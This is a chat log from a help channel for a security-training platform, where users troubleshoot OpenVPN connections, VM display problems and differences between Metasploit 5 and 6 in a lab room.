Could you change into the Downloads folder and do pwd ?

[naive dust]

/home/kali/Downloads

I should put all that in?

[crystal marlin]

Yes so the path would be /home/kali/Downloads/IrScrubzz(1).ovpn

[naive dust]

Thank you, that worked.

[sterile pulsar]

How To I Am Test my Web Host Security ? IS There Anyone Try to hit my target To i Am Check My Web SEcurity

[mellow kelp]

no.

[cedar drum]

Where do I change my country?

[naive dust]

I'm using Parrot inside of a VM (Virtual Box), every time I shut down the machine it resets my resolution to 800x600. Is there a fix for this? Not a massive issue but causes a lot of lag when I login

[naive dust]

Hey i can't download my OpenVPN file for the network wreath

It redirect me on the page :

[naive dust]

Need some help here. I'm unable to connect to my OpenVPN Profile.

It shows - Error message: ovpnagent: request error

[outer maple]

hello cant seem to reset upload

I cancelled the upload now I cant do it again

theres a typo BTW

[crystal marlin]

What's the full command you try ?

[naive dust]

I didn't try any command, I just tried to connect to my profile but it displays that error.

[crystal marlin]

Could you show a screenshot of that?

[naive dust]

Sure!

[outer maple]

???

[crystal marlin]

Oh you are not on linux? Mh, I have never used it outside of linux, so I'm not sure if there is some kind of log or similar to check on what the issue is.

[naive dust]

Oh, okay. No, I'm on Windows.

Anyways, thanks for your response! @crystal marlin

[scenic torrent]

Gave +1 Rep to @crystal marlin

[crystal marlin]

Sure not a problem, in case you look up on where to find the log, you can send me a DM with it and we can look into it.

[naive dust]

Sure I will! 👍

[lament trout]

@naive dust is parrot supported for VM?

oh, so they do have OVA file now, I remember using the ISO and having similar issues in VM, are you using OVA? @naive dust

[warped sequoia]

Hi... Ice Room... Task 4... only getting one vulnerability showing running post/local/recon/multi_exploit_suggester - walkthrough shows 31! The one I'm getting is not the one appropriate for the Task either.... I have a screenshot from last night, and another from today... resetting everything didn't help either

Only thing I've newly noticed is that all walkthroughs are using msf5, I have msf6 (just downloaded latest version, of course). Maybe the module needs to be updated for the newest version of Metasploit? Or I am actually expected to downgrade just to complete the Room?

[dense matrix]

I'm a dumbass. I used ls instead of ls -a so I didn't see the files. Thank you 🙂

[scenic torrent]

Gave +1 Rep to @shy jungle

[warped sequoia]

Not dumb, it happens....

[naive dust]

OVA Security I think

[crystal marlin]

You can just use the attackbox to have msf5 for that task, or grab the answer from a walkthrough. Beside that exploit suggester part I think you can do everything with msf6 too.

[lament trout]

hmm, no clue then :/

kali ftw

[main rampart]

When trying to start the machine I can't see the public IP. Terminating the machine and restarting it didn't help

Does anyone know what the problem might be?

[crystal marlin]

What machine are you trying to start?

[main rampart]

Kali

[crystal marlin]

Okay, so one of the web based attacking machines? But what are you trying to do with that IP ?

[main rampart]

Yes, for the remote desktop

[crystal marlin]

Ah okay. Well as far as I know there is no public IP to access them, maybe someone else will prove me wrong. But you most probably have to connect to the THM VPN and go with the private IP to connect to it.

[main rampart]

Okay

[crystal marlin]

But just to let you know, you can also just use these web based machines within your browser. Also putting them on full screen.

[turbid glacier]

Hi guys.
I'm running kali on a VM and my openvpn suddenly stopped working yesterday. I've downloaded new config files but I keep getting the same error :

oh derp

I wasn't running as sudo

[warped sequoia]

Well... you need to use the exploit then... I mean, I guess I can use the AttackBox, but that's more of a workaround.... the modules should really reflect current tools, don't you think? I've seen other threads online about differences in msf5 and msf6, so there may very well be other Rooms affected as well. It would be a suggestion to the site devs to update modules to reflect usage of current versions of the tools they're asking us to use... would seem to be appropriate

And of course, now I'm being told I need to subscribe, because I had to use the Attackbox earlier for another workaround... modules should really be updated, or at least contain notes about the versions of tools they require...

[crystal marlin]

If I remember correctly that exploit is available on msf6 too, it's just the exploit suggester not suggesting it on msf6. But if you have feedback in regards to such things, you can just send a feeback about that, I think they appreciate any feedback. #feedback-and-ideas

[quick bear]

hmm for some reason I can't ping my machine for network services 2, works perfectly through attackbox, but fails from a local kali vm

[mellow kelp]

are you connected to the vpn?

[quick bear]

yeah

[mellow kelp]

can you send some screenshots?